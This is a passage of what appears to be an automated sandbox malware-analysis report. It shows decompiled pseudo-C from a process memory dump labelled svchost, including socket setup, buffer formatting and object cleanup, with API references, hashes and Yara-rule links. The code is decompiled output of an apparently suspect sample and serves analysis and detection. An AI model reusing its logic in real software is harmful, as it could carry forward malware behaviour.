						if(_v16 != 0xffffffff) {
							_v20 = 0;
							 *0x42527c(_v16, 0xffff, 0x1001,  &_v20, 4);
							E04007010(_t162,  &_v44, 0, 0x10);
							_t165 = _t165 + 0xc;
							_v44 = 2;
							_v40 = 0;
							_v42 = 0;
							_t101 =  *0x425280(_v16,  &_v44, 0x10);
							__eflags = _t101;
							if(_t101 == 0) {
								_t102 = E04020CE0(0x5c);
								_t165 = _t165 + 4;
								_v52 = _t102;
								__eflags = _v52;
								if(__eflags == 0) {
									_v68 = 0;
								} else {
									_v68 = E04005630(_v52, __eflags);
								}
								_v12 = _v68;
								 *((intOrPtr*)(_v12 + 0x34)) = 0x77777777;
								 *((intOrPtr*)(_v12 + 0x54)) = 2;
								_v48 =  *0x42516c(_v16,  *((intOrPtr*)(_v64 + 8)), _v12, 0);
								_t106 = _v64;
								__eflags = _v48 -  *((intOrPtr*)(_t106 + 8));
								if(_v48 ==  *((intOrPtr*)(_t106 + 8))) {
									E04007010(_t162,  &_v44, 0, 0x10);
									_v44 = 2;
									_v40 = _a4;
									_v42 =  *0x425278(_a8 & 0x0000ffff);
									 *((intOrPtr*)(_v12 + 0x30)) = _v64;
									 *((intOrPtr*)(_v12 + 0x28)) = _v16;
									 *((intOrPtr*)(_v12 + 0x2c)) = 2;
									E04006CA0(_t126, _t162, _t163, _v12 + 0x38,  &_v44);
									_t165 = _t165 + 0x18;
									 *((intOrPtr*)(_v12 + 0x48)) = 0x10;
									 *((intOrPtr*)(_v12 + 0x18)) =  *((intOrPtr*)(_v12 + 0x18)) + 1;
									_t140 = _v64;
									_t161 =  *((intOrPtr*)(_t140 + 0xc));
									_v24 =  *((intOrPtr*)( *((intOrPtr*)(_t140 + 0xc))))(_v16, _v12 + 0x38,  *((intOrPtr*)(_v12 + 0x48)), 0, 0, 0, _v12, 0x10);
									__eflags = _v24;
									if(__eflags != 0) {
										L17:
										_v8 = E04006410(_t126,  *((intOrPtr*)(_v64 + 4)), _t162, _t163, __eflags, _v12, 0);
										_t161 = 0;
										__eflags = 0;
										if(0 != 0) {
											continue;
										}
										goto L18;
									}
									__eflags =  *0x425274() - 0x3e5;
									if(__eflags == 0) {
										goto L17;
									}
								} else {
								}
								goto L18;
							}
							goto L18;
						}
						goto L18;
					}
					L18:
					if(_v8 == 0) {
						if(_v16 != 0xffffffff) {
							 *0x42524c(_v16);
						}
						if(_v12 != 0 && _v12 != 0) {
							_v60 = _v12;
							_t161 = _v60;
							_v56 = _v60;
							if(_v56 == 0) {
								_v72 = 0;
							} else {
								_v72 = E04006A90(_v56, 1);
							}
							_v12 = 0x666;
						}
					}
				} while (0 != 0);
				return E04006C8C(_v8, _t126, _v28 ^ _t164, _t161, _t162, _t163);
			}

0x04020920
0x04020920
0x04020920
0x0402092d
0x04020930
0x04020933
0x0402093a
0x0402093a
0x04020941
0x04020948
0x0402096d
0x04020970
0x04020974
0x0402097b
0x04020996
0x040209a4
0x040209a9
0x040209b1
0x040209b5
0x040209be
0x040209cc
0x040209d2
0x040209d4
0x040209dd
0x040209e2
0x040209e5
0x040209e8
0x040209ec
0x040209fb
0x040209ee
0x040209f6
0x040209f6
0x04020a05
0x04020a0b
0x04020a15
0x04020a33
0x04020a36
0x04020a3c
0x04020a3f
0x04020a4e
0x04020a5b
0x04020a62
0x04020a70
0x04020a7a
0x04020a83
0x04020a89
0x04020a9d
0x04020aa2
0x04020aa8
0x04020abb
0x04020ada
0x04020add
0x04020ae2
0x04020ae5
0x04020ae9
0x04020afa
0x04020b0b
0x04020b0e
0x04020b0e
0x04020b10
0x00000000
0x00000000
0x00000000
0x04020b10
0x04020af1
0x04020af6
0x00000000
0x00000000
0x00000000
0x04020a41
0x00000000
0x04020a3f
0x00000000
0x040209d6
0x00000000
0x04020976
0x04020b16
0x04020b1a
0x04020b20
0x04020b26
0x04020b26
0x04020b30
0x04020b3b
0x04020b3e
0x04020b41
0x04020b48
0x04020b59
0x04020b4a
0x04020b54
0x04020b54
0x04020b60
0x04020b60
0x04020b30
0x04020b67
0x04020b7f

APIs

_memset.LIBCMT ref: 040209A4
codecvt.LIBCPMTD ref: 04020B4F

Strings

wwww, xrefs: 04020A0B

Memory Dump Source

Source File: 0000000A.00000002.563207738.0000000004000000.00000040.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 0000000A.00000002.563207738.000000000408A000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_4000000_svchost.jbxd

Similarity

API ID: _memsetcodecvt
String ID: wwww
API String ID: 2800761558-671953474
Opcode ID: 3b53e552e292a3f9917d3afa780c2f46f6f1ddef7a9f945bd37204f127812075
Instruction ID: 61b96e00e12962727ee7777b3b76a6d85f6ef15ab9ff8b766a9639ba92e0cd34
Opcode Fuzzy Hash: 3b53e552e292a3f9917d3afa780c2f46f6f1ddef7a9f945bd37204f127812075
Instruction Fuzzy Hash: 88813C74E00318EFEB24CFA4D985BEDBBB5AF48318F108159E605BB2D0D775AA81CB54

Uniqueness

Uniqueness Score: -1.00%

Function 04011930 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 89
COMMON

Download Yara Rule

C-Code - Quality: 67%

			E04011930(void* __ebx, intOrPtr __ecx, void* __eflags) {
				signed int _v8;
				void _v36;
				signed short _v40;
				signed short _v42;
				signed short _v44;
				signed short _v46;
				signed short _v50;
				signed short _v52;
				intOrPtr _v56;
				intOrPtr _v60;
				intOrPtr _v64;
				intOrPtr _v68;
				intOrPtr _v72;
				intOrPtr _v76;
				intOrPtr _v80;
				void* __edi;
				void* __esi;
				void* _t56;
				signed int _t77;

				_t56 = __ebx;
				_v8 =  *0x429024 ^ _t77;
				_v76 = __ecx;
				_v56 = 0;
				memcpy( &_v36, 0x427060, 6 << 2);
				asm("movsb");
				_v64 = E04020CE0(0x29);
				_v60 = _v64;
				E04007010(0x42706c, _v60, 0, 0x29);
				 *0x425180( &_v52);
				 *0x4251f8(_v60, 0x28,  &_v36, _v52 & 0x0000ffff, _v50 & 0x0000ffff, _v46 & 0x0000ffff, _v44 & 0x0000ffff, _v42 & 0x0000ffff, _v40 & 0x0000ffff);
				_v68 = E04020CE0(8);
				if(_v68 == 0) {
					_v80 = 0;
				} else {
					_v80 = E0401F4E0(_v68);
				}
				_t72 = _v80;
				_v56 = _v80;
				E0401FC90(_t56, _v56, 0x42706c, 0x427060, _v60, E040070A0(_v60));
				if(_v60 != 0) {
					_t72 = _v60;
					_v72 = _v60;
					E04020CC0(_v72);
					_v60 = 0x666;
				}
				return E04006C8C(_v56, _t56, _v8 ^ _t77, _t72, 0x42706c, 0x427060);
			}

0x04011930
0x0401193d
0x04011942
0x04011945
0x04011959
0x0401195b
0x04011966
0x0401196c
0x04011977
0x04011983
0x040119b1
0x040119c4
0x040119cb
0x040119da
0x040119cd
0x040119d5
0x040119d5
0x040119e1
0x040119e4
0x040119fb
0x04011a04
0x04011a06
0x04011a09
0x04011a10
0x04011a18
0x04011a18
0x04011a31

APIs

_memset.LIBCMT ref: 04011977
std::_Iterator_base::_Iterator_base.LIBCPMTD ref: 040119D0
_strlen.LIBCMT ref: 040119EB

Strings

`pB, xrefs: 04011951

Memory Dump Source

Source File: 0000000A.00000002.563207738.0000000004000000.00000040.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 0000000A.00000002.563207738.000000000408A000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_4000000_svchost.jbxd

Similarity

API ID: Iterator_baseIterator_base::__memset_strlenstd::_
String ID: `pB
API String ID: 3713721629-8080248
Opcode ID: 6e851101af669da2590ada226c12d76250e880d2472f87e89cdad929c21c02bd
Instruction ID: 23dbd6e54e78f367103934f2d22059264fab70093216257e69c110f1ce7c75f9
Opcode Fuzzy Hash: 6e851101af669da2590ada226c12d76250e880d2472f87e89cdad929c21c02bd
Instruction Fuzzy Hash: 01313CB1D01218ABEB14EFD5E944AEEBBB5EF4C308F104029F505B7280E7756944CB61

Uniqueness

Uniqueness Score: -1.00%

Function 04005630 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 57
COMMON

Download Yara Rule

C-Code - Quality: 68%

			E04005630(intOrPtr __ecx, void* __eflags) {
				intOrPtr _v8;
				void* _t53;

				_v8 = __ecx;
				E04007010(_t53, _v8, 0, 0x14);
				 *((intOrPtr*)(_v8 + 0x34)) = 0x77777777;
				 *((intOrPtr*)(_v8 + 0x14)) =  *0x4250c0(0, 1, 0, 0, __ecx);
				 *((intOrPtr*)(_v8 + 0x1c)) = 0;
				E04007010(_t53, _v8 + 0x20, 0, 8);
				 *((intOrPtr*)(_v8 + 0x28)) = 0;
				 *((intOrPtr*)(_v8 + 0x2c)) = 0;
				 *((intOrPtr*)(_v8 + 0x30)) = 0;
				 *((intOrPtr*)(_v8 + 0x18)) = 0;
				E04007010(_t53, _v8 + 0x38, 0, 0x10);
				 *((intOrPtr*)(_v8 + 0x48)) = 0x10;
				 *((intOrPtr*)(_v8 + 0x4c)) = 0;
				 *((intOrPtr*)(_v8 + 0x50)) = 0;
				 *((intOrPtr*)(_v8 + 0x54)) = 0;
				 *((char*)(_v8 + 0x58)) = 0;
				return _v8;
			}

0x04005634
0x0400563f
0x0400564a
0x04005662
0x04005668
0x0400567a
0x04005685
0x0400568f
0x04005699
0x040056a3
0x040056b5
0x040056c0
0x040056ca
0x040056d4
0x040056de
0x040056e8
0x040056f2

APIs

_memset.LIBCMT ref: 0400563F
_memset.LIBCMT ref: 0400567A
_memset.LIBCMT ref: 040056B5

Strings

wwww, xrefs: 0400564A

Memory Dump Source

Source File: 0000000A.00000002.563207738.0000000004000000.00000040.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 0000000A.00000002.563207738.000000000408A000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_4000000_svchost.jbxd

Similarity

API ID: _memset
String ID: wwww
API String ID: 2102423945-671953474
Opcode ID: 56981159b78f17c5b562ff2e7d8da521ae3d0b0f004ad004817d56aaae5714f0
Instruction ID: 7ac7e521c84300ad453423b6d132e18307e481511a592d402c42c44ac5e64213
Opcode Fuzzy Hash: 56981159b78f17c5b562ff2e7d8da521ae3d0b0f004ad004817d56aaae5714f0
Instruction Fuzzy Hash: 3E21B874A40208EBEB54CF94D995B9EB7B1BB48708F204588E9046F3C1D7B6AF45EBC4

Uniqueness

Uniqueness Score: -1.00%

Function 04015C60 Relevance: 6.2, APIs: 4, Instructions: 192
COMMON

Download Yara Rule

C-Code - Quality: 79%

			E04015C60(void* __ebx, intOrPtr __ecx, void* __edx, intOrPtr _a4) {
				char _v5;
				intOrPtr* _v12;
				intOrPtr* _v16;
				signed int _v20;
				void _v52;
				intOrPtr _v56;
				intOrPtr _v60;
				intOrPtr _v64;
				intOrPtr _v68;
				intOrPtr _v72;
				intOrPtr _v76;
				intOrPtr _v80;
				intOrPtr _v84;
				intOrPtr _v88;
				void* __edi;
				void* __esi;
				void* _t107;
				intOrPtr _t115;
				signed char _t118;
				signed char _t124;
				void* _t126;
				void* _t161;
				signed int _t183;
				void* _t184;

				_t161 = __edx;
				_t126 = __ebx;
				_v20 =  *0x429024 ^ _t183;
				_v76 = __ecx;
				_v5 = 0;
				while(_a4 != 0) {
					_v12 = 0;
					_v5 = 1;
					do {
						_t162 = _a4;
						_v12 = E04013F50(_t126, _v76, 0x426eaa, 0x426e9c, _a4, 0, 0xffffffff, 0,  *(_v76 + 0x19) & 0x000000ff);
						if(_v12 != 0) {
							_v16 = E04015360(_t126, _v76, 0x426eaa, 0x426e9c, _v12);
							if(_v16 == 0) {
								if( *((intOrPtr*)(_v76 + 0xc)) == 0) {
									_t115 = E04020CE0(8);
									_t184 = _t184 + 4;
									_v64 = _t115;
									if(_v64 == 0) {
										_v84 = 0;
									} else {
										_v84 = E0401F4E0(_v64);
									}
									_t162 = _v84;
									 *((intOrPtr*)(_v76 + 0xc)) = _v84;
								}
								memcpy( &_v52, 0x426e9c, 7 << 2);
								asm("movsb");
								E0401F9F0(_t126,  *((intOrPtr*)(_v76 + 0xc)), _t162,  &_v52, 0x1c, 0);
								E0401F9F0(_t126,  *((intOrPtr*)(_v76 + 0xc)), _v76, 0x426c50, 2, 0);
								_t107 = E040070A0( *_v12);
								_t184 = _t184 + 0x10;
								E0401F9F0(_t126,  *((intOrPtr*)(_v76 + 0xc)), _v12,  *_v12, _t107, 0);
								E0401F9F0(_t126,  *((intOrPtr*)(_v76 + 0xc)), _v76, 0x426c54, 2, 0);
								E0401F9F0(_t126,  *((intOrPtr*)(_v76 + 0xc)), _v76, 0x426ebc, 4, 0);
								 *(_v76 + 0x1a) = 1;
							} else {
								if( *_v16 == 0 ||  *((intOrPtr*)(_v16 + 4)) <= 0) {
									_t118 = E0401F7C0(_t126, _a4, 0x426eaa, 0x426e9c,  *((intOrPtr*)(_v12 + 0x28)),  *((intOrPtr*)(_v12 + 0x2c)));
									asm("sbb edx, edx");
									 *(_v76 + 0x1a) =  ~(_t118 & 0x000000ff) + 1;
								} else {
									_t124 = E0401F6B0(_t126, _a4, 0x426eaa, 0x426e9c,  *((intOrPtr*)(_v12 + 0x28)),  *((intOrPtr*)(_v12 + 0x2c)),  *_v16,  *((intOrPtr*)(_v16 + 4)));
									asm("sbb edx, edx");
									 *(_v76 + 0x1a) =  ~(_t124 & 0x000000ff) + 1;
								}
								if(_v16 != 0) {
									_v60 = _v16;
									_v56 = _v60;
									if(_v56 == 0) {
										_v80 = 0;
									} else {
										_v80 = E04004EA0(_v56, 1);
									}
									_v16 = 0x666;
								}
							}
							if(_v12 != 0) {
								_v72 = _v12;
								_v68 = _v72;
								if(_v68 == 0) {
									_v88 = 0;
								} else {
									_v88 = E04006780(_v68, 1);
								}
								_v12 = 0x666;
							}
						}
					} while (_v12 != 0 && ( *(_v76 + 0x1a) & 0x000000ff) == 0);
					asm("sbb ecx, ecx");
					_v5 =  ~( *(_v76 + 0x1a) & 0x000000ff) + 1;
					_t161 = 0;
					if(0 != 0) {
						continue;
					}
					L30:
					return E04006C8C(_v5, _t126, _v20 ^ _t183, _t161, 0x426eaa, 0x426e9c);
				}
				goto L30;
			}

0x04015c60
0x04015c60
0x04015c6d
0x04015c72
0x04015c75
0x04015c79
0x04015c84
0x04015c8b
0x04015c8f
0x04015c9d
0x04015ca9
0x04015cb0
0x04015cc2
0x04015cc9
0x04015d7c
0x04015d80
0x04015d85
0x04015d88
0x04015d8f
0x04015d9e
0x04015d91
0x04015d99
0x04015d99
0x04015da8
0x04015dab
0x04015dab
0x04015dbb
0x04015dbd
0x04015dcc
0x04015de0
0x04015ded
0x04015df2
0x04015e02
0x04015e16
0x04015e2a
0x04015e32
0x04015ccf
0x04015cd5
0x04015d26
0x04015d30
0x04015d38
0x04015ce0
0x04015cfe
0x04015d08
0x04015d10
0x04015d10
0x04015d3f
0x04015d44
0x04015d4a
0x04015d51
0x04015d62
0x04015d53
0x04015d5d
0x04015d5d
0x04015d69
0x04015d69
0x04015d70
0x04015e3a
0x04015e3f
0x04015e45
0x04015e4c
0x04015e5d
0x04015e4e
0x04015e58
0x04015e58
0x04015e64
0x04015e64
0x04015e3a
0x04015e6b
0x04015e89
0x04015e8e
0x04015e91
0x04015e93
0x00000000
0x00000000
0x04015e99
0x04015eab
0x04015eab
0x00000000

APIs

codecvt.LIBCPMTD ref: 04015D58
codecvt.LIBCPMTD ref: 04015E53

Memory Dump Source

Source File: 0000000A.00000002.563207738.0000000004000000.00000040.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 0000000A.00000002.563207738.000000000408A000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_4000000_svchost.jbxd

Similarity

API ID: codecvt
String ID:
API String ID: 3662085145-0
Opcode ID: 02833dcf54a586269b43c7a5692cfb048f7b9c5c918048c8dbaad8ebd72bbd88
Instruction ID: 8b2e742d592aba65153c7364a6cd7b1473e8eb5661a5a9f51c834e1a389ae5c1
Opcode Fuzzy Hash: 02833dcf54a586269b43c7a5692cfb048f7b9c5c918048c8dbaad8ebd72bbd88
Instruction Fuzzy Hash: 87811A74E04218EFEB58DF94D894BADBBB2AF88318F148159E4057F3A1C775B986CB40

Uniqueness

Uniqueness Score: -1.00%

Function 040126B0 Relevance: 6.1, APIs: 4, Instructions: 116
COMMON

Download Yara Rule

C-Code - Quality: 80%

			E040126B0(void* __ebx, intOrPtr __ecx, void* __edi, void* __esi) {
				char _v8;
				intOrPtr* _v12;
				signed int _v16;
				char _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				char _v40;
				intOrPtr _v44;
				void* _v48;
				intOrPtr _v52;
				intOrPtr _v56;
				intOrPtr _v60;
				intOrPtr _v64;
				intOrPtr _v68;
				intOrPtr _v72;
				intOrPtr* _v76;
				intOrPtr _v80;
				intOrPtr _v84;
				intOrPtr _t59;
				intOrPtr _t69;
				intOrPtr _t70;
				void* _t72;
				void* _t79;
				void* _t101;
				void* _t102;
				signed int _t103;
				void* _t104;
				void* _t105;

				_t102 = __esi;
				_t101 = __edi;
				_t79 = __ebx;
				_v16 =  *0x429024 ^ _t103;
				_v72 = __ecx;
				_v8 = 0;
				do {
					_v40 =  *0x426f90;
					_v36 =  *0x426f94;
					_v32 =  *0x426f98;
					_v28 =  *0x426f9c;
					_v24 =  *0x426fa0;
					_v20 =  *0x426fa4;
					_t59 = E04020CE0(8);
					_t104 = _t104 + 4;
					_v52 = _t59;
					if(_v52 == 0) {
						_v76 = 0;
					} else {
						_v76 = E0401F4E0(_v52);
					}
					_v12 = _v76;
					E0401FC90(_t79, _v12, _t101, _t102,  &_v40, 0x14);
					_t99 = _v12;
					if((E04015C60(_t79, _v72, _v12, _v12) & 0x000000ff) != 0) {
						_v48 = 0;
						_t99 = _v12;
						_t69 = E0401BCB0(_t101, 3,  *_v12,  &_v48);
						_t104 = _t104 + 0xc;
						_v44 = _t69;
						if(_v44 > 0) {
							_t70 = E04020CE0(8);
							_t105 = _t104 + 4;
							_v56 = _t70;
							if(_v56 == 0) {
								_v80 = 0;
							} else {
								_v80 = E0401F4E0(_v56);
							}
							_v8 = _v80;
							_t72 = E040070A0( *((intOrPtr*)( *_v48 + 4)));
							_t104 = _t105 + 4;
							_t99 = _v48;
							E0401FC90(_t79, _v8, _t101, _t102,  *((intOrPtr*)( *_v48 + 4)), _t72);
							if(_v48 != 0) {
								_t99 = _v48;
								_v60 = _v48;
								E04020CC0(_v60);
								_t104 = _t104 + 4;
								_v48 = 0x666;
							}
						}
					}
					if(_v12 != 0) {
						_v68 = _v12;
						_t99 = _v68;
						_v64 = _v68;
						if(_v64 == 0) {
							_v84 = 0;
						} else {
							_v84 = E04004EA0(_v64, 1);
						}
						_v12 = 0x666;
					}
				} while (0 != 0);
				return E04006C8C(_v8, _t79, _v16 ^ _t103, _t99, _t101, _t102);
			}

0x040126b0
0x040126b0
0x040126b0
0x040126bd
0x040126c0
0x040126c3
0x040126ca
0x040126cf
0x040126d8
0x040126e1
0x040126e9
0x040126f2
0x040126fb
0x04012700
0x04012705
0x04012708
0x0401270f
0x0401271e
0x04012711
0x04012719
0x04012719
0x04012728
0x04012734
0x04012739
0x0401274a
0x04012750
0x0401275b
0x04012763
0x04012768
0x0401276b
0x04012772
0x04012776
0x0401277b
0x0401277e
0x04012785
0x04012794
0x04012787
0x0401278f
0x0401278f
0x0401279e
0x040127aa
0x040127af
0x040127b3
0x040127bf
0x040127c8
0x040127ca
0x040127cd
0x040127d4
0x040127d9
0x040127dc
0x040127dc
0x040127c8
0x04012772
0x040127e7
0x040127ec
0x040127ef
0x040127f2
0x040127f9
0x0401280a
0x040127fb
0x04012805
0x04012805
0x04012811
0x04012811
0x04012818
0x04012830

APIs

std::_Iterator_base::_Iterator_base.LIBCPMTD ref: 04012714
std::_Iterator_base::_Iterator_base.LIBCPMTD ref: 0401278A
_strlen.LIBCMT ref: 040127AA
codecvt.LIBCPMTD ref: 04012800

Memory Dump Source

Source File: 0000000A.00000002.563207738.0000000004000000.00000040.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 0000000A.00000002.563207738.000000000408A000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_4000000_svchost.jbxd

Similarity

API ID: Iterator_baseIterator_base::_std::_$_strlencodecvt
String ID:
API String ID: 4053968246-0
Opcode ID: 169dd0bcd0e1bc8557198bf3e789645acc63f33ee09107aa3db1908fa965f152
Instruction ID: af42a25bd155b3b5d7a86e069f6b5acb66482dcb96fdedbe39403f86dc1ab7a6
Opcode Fuzzy Hash: 169dd0bcd0e1bc8557198bf3e789645acc63f33ee09107aa3db1908fa965f152
Instruction Fuzzy Hash: 4951D6B4E01208AFEB14DFA4E984BEEBBB1BF48308F108169E815B73A0D7716945CF55

Uniqueness

Uniqueness Score: -1.00%

Function 04014EC0 Relevance: 6.1, APIs: 4, Instructions: 79
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E04014EC0(intOrPtr __ecx) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				intOrPtr _v44;
				intOrPtr _v48;
				intOrPtr _v52;
				intOrPtr _v56;
				intOrPtr _t55;
				intOrPtr _t56;

				_v40 = __ecx;
				if( *((intOrPtr*)(_v40 + 4)) != 0) {
					_v12 =  *((intOrPtr*)(_v40 + 4));
					_v8 = _v12;
					if(_v8 == 0) {
						_v44 = 0;
					} else {
						_v44 = E04006720(_v8, 1);
					}
					 *((intOrPtr*)(_v40 + 4)) = 0x666;
				}
				if( *((intOrPtr*)(_v40 + 8)) != 0) {
					_v20 =  *((intOrPtr*)(_v40 + 8));
					_v16 = _v20;
					if(_v16 == 0) {
						_v48 = 0;
					} else {
						_v48 = E04006750(_v16, 1);
					}
					 *((intOrPtr*)(_v40 + 8)) = 0x666;
				}
				if( *((intOrPtr*)(_v40 + 0xc)) != 0) {
					_v28 =  *((intOrPtr*)(_v40 + 0xc));
					_v24 = _v28;
					if(_v24 == 0) {
						_v52 = 0;
					} else {
						_v52 = E04004EA0(_v24, 1);
					}
					 *((intOrPtr*)(_v40 + 0xc)) = 0x666;
				}
				_t55 = _v40;
				if( *((intOrPtr*)(_t55 + 0x20)) != 0) {
					_v36 =  *((intOrPtr*)(_v40 + 0x20));
					_t56 = _v36;
					_v32 = _t56;
					if(_v32 == 0) {
						_v56 = 0;
					} else {
						_t56 = E04004EA0(_v32, 1);
						_v56 = _t56;
					}
					 *((intOrPtr*)(_v40 + 0x20)) = 0x666;
					return _t56;
				}
				return _t55;
			}

0x04014ec6
0x04014ed0
0x04014ed8
0x04014ede
0x04014ee5
0x04014ef6
0x04014ee7
0x04014ef1
0x04014ef1
0x04014f00
0x04014f00
0x04014f0e
0x04014f16
0x04014f1c
0x04014f23
0x04014f34
0x04014f25
0x04014f2f
0x04014f2f
0x04014f3e
0x04014f3e
0x04014f4c
0x04014f54
0x04014f5a
0x04014f61
0x04014f72
0x04014f63
0x04014f6d
0x04014f6d
0x04014f7c
0x04014f7c
0x04014f83
0x04014f8a
0x04014f92
0x04014f95
0x04014f98
0x04014f9f
0x04014fb0
0x04014fa1
0x04014fa6
0x04014fab
0x04014fab
0x04014fba
0x00000000
0x04014fba
0x04014fc4

APIs

codecvt.LIBCPMTD ref: 04014EEC
codecvt.LIBCPMTD ref: 04014F2A
codecvt.LIBCPMTD ref: 04014F68
codecvt.LIBCPMTD ref: 04014FA6

Memory Dump Source

Source File: 0000000A.00000002.563207738.0000000004000000.00000040.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 0000000A.00000002.563207738.000000000408A000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_4000000_svchost.jbxd

Similarity

API ID: codecvt
String ID:
API String ID: 3662085145-0
Opcode ID: 293eff8e08c402cabf5be0573675e725eacdbb13c63a1d46bf353841e3f01ce6
Instruction ID: 6fde489f6c5f844b1c7bf651d9850ea7eb6d4f342482ed0b4f1dd667ca52f8cd
Opcode Fuzzy Hash: 293eff8e08c402cabf5be0573675e725eacdbb13c63a1d46bf353841e3f01ce6
Instruction Fuzzy Hash: 7D416E74A00209DBDB04CF94D694BEEBBF2BB48308F248199D4057B3A1D776AE85DF90

Uniqueness

Uniqueness Score: -1.00%

Function 0400CBC9 Relevance: 6.0, APIs: 4, Instructions: 31
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 89%

			E0400CBC9(void* __ebx, void* __edx, intOrPtr __edi, void* __esi, void* __eflags) {
				intOrPtr _t28;
				void* _t29;
				void* _t30;

				_t30 = __eflags;
				_t26 = __edi;
				_t25 = __edx;
				_t22 = __ebx;
				_push(0xc);
				_push(0x427b08);
				E04009CE8(__ebx, __edi, __esi);
				_t28 = E04009556(__ebx, __edx, __edi, _t30);
				if(( *(_t28 + 0x70) &  *0x429cb0) == 0) {
					L6:
					E0400B404(_t22, 0xc);
					 *(_t29 - 4) =  *(_t29 - 4) & 0x00000000;
					_t8 = _t28 + 0x6c; // 0x6c
					_t26 =  *0x4294d8;
					 *((intOrPtr*)(_t29 - 0x1c)) = E0400CB8B(_t8,  *0x4294d8);
					 *(_t29 - 4) = 0xfffffffe;
					E0400CC33();
				} else {
					_t32 =  *((intOrPtr*)(_t28 + 0x6c));
					if( *((intOrPtr*)(_t28 + 0x6c)) == 0) {
						goto L6;
					} else {
						_t28 =  *((intOrPtr*)(E04009556(__ebx, __edx, __edi, _t32) + 0x6c));
					}
				}
				if(_t28 == 0) {
					E040099DE(_t25, _t26, 0x20);
				}
				return E04009D2D(_t28);
			}

0x0400cbc9
0x0400cbc9
0x0400cbc9
0x0400cbc9
0x0400cbc9
0x0400cbcb
0x0400cbd0
0x0400cbda
0x0400cbe4
0x0400cc08
0x0400cc0a
0x0400cc10
0x0400cc14
0x0400cc17
0x0400cc22
0x0400cc25
0x0400cc2c
0x0400cbe6
0x0400cbe6
0x0400cbea
0x00000000
0x0400cbec
0x0400cbf1
0x0400cbf1
0x0400cbea
0x0400cbf6
0x0400cbfa
0x0400cbff
0x0400cc07

APIs

__getptd.LIBCMT ref: 0400CBD5

Part of subcall function 04009556: __getptd_noexit.LIBCMT ref: 04009559
Part of subcall function 04009556: __amsg_exit.LIBCMT ref: 04009566

__getptd.LIBCMT ref: 0400CBEC
__amsg_exit.LIBCMT ref: 0400CBFA
__lock.LIBCMT ref: 0400CC0A

Memory Dump Source

Source File: 0000000A.00000002.563207738.0000000004000000.00000040.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 0000000A.00000002.563207738.000000000408A000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_4000000_svchost.jbxd

Similarity

API ID: __amsg_exit__getptd$__getptd_noexit__lock
String ID:
API String ID: 3521780317-0
Opcode ID: 1f0354d96fabdbc1a2ba5b958ed8245a13b2cce1e2fe9863332c0abb1a1d4ff1
Instruction ID: 775b438eefefd3dc35736b17a6f12e75e8ac1b8e9e2c3c2db30c63f4ae9875e3
Opcode Fuzzy Hash: 1f0354d96fabdbc1a2ba5b958ed8245a13b2cce1e2fe9863332c0abb1a1d4ff1
Instruction Fuzzy Hash: 3EF06D71A19704CBF724BBA98801B8933E06B0072CF55C219C041BB2D1CB34B902CB55

Uniqueness

Uniqueness Score: -1.00%

Function 0401F9F0 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 212
COMMON

Download Yara Rule

C-Code - Quality: 40%

			E0401F9F0(void* __ebx, intOrPtr* __ecx, void* __edx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				char _v5;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				signed int _v28;
				void _v84;
				intOrPtr _v88;
				signed short _v90;
				signed short _v92;
				signed short _v94;
				signed short _v96;
				signed short _v98;
				signed short _v102;
				signed short _v104;
				intOrPtr _v108;
				intOrPtr _v112;
				intOrPtr _v116;
				intOrPtr _v120;
				intOrPtr _v124;
				intOrPtr _v128;
				intOrPtr _v132;
				intOrPtr _v136;
				intOrPtr* _v140;
				void* __edi;
				void* __esi;
				void* _t149;
				void* _t180;
				signed int _t209;
				void* _t210;

				_t180 = __edx;
				_t149 = __ebx;
				_v28 =  *0x429024 ^ _t209;
				_v140 = __ecx;
				_v5 = 0;
				while(_a4 != 0 && _a8 >= 1) {
					_v16 = _a4;
					_v12 = _a8;
					if(_a12 != 0) {
						memcpy( &_v84, 0x427564, 0xd << 2);
						asm("movsw");
						asm("movsb");
						_v20 = 0x200;
						_v112 = E04020CE0(_v20 + 1);
						_v24 = _v112;
						E04007010(0x42757e, _v24, 0, _v20 + 1);
						 *0x4250e8( &_v104);
						 *0x4251f8(_v24, _v20 + 1,  &_v84, _v104 & 0x0000ffff, _v102 & 0x0000ffff, _v98 & 0x0000ffff, _v96 & 0x0000ffff, _v94 & 0x0000ffff, _v92 & 0x0000ffff, _v90 & 0x0000ffff, _a12);
						_v88 = E040070A0(_v24);
						_v116 = E04020CE0(_a8 + _v88);
						_v16 = _v116;
						_push(_v88);
						E04006CA0(_t149, 0x42757e, 0x427564, _v16, _v24);
						_push(_a8);
						E04006CA0(_t149, 0x42757e, 0x427564, _v16 + _v88, _a4);
